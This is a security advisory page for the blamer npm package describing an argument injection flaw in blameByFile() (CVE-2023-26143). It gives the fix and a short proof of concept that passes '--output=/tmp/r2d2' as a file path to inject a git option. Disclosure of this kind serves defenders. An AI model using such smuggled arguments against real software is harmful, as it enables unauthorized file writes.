Arbitrary Argument Injection Affecting blamer package, versions <1.0.4


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-BLAMER-5731318
  • published18 Sept 2023
  • disclosed22 Jun 2023
  • creditLiran Tal

Introduced: 22 Jun 2023

CVE-2023-26143  (opens in a new tab)
CWE-88  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade blamer to version 1.0.4 or higher.

Overview

blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

PoC

import Blamer from "blamer";
const blamer = new Blamer.default("git");

async function main() {
  const file = "--output=/tmp/r2d2";
  const result = await blamer.blameByFile(file);
  console.log("Blame json: %j", result);
}

main();

CVSS Scores

version 3.1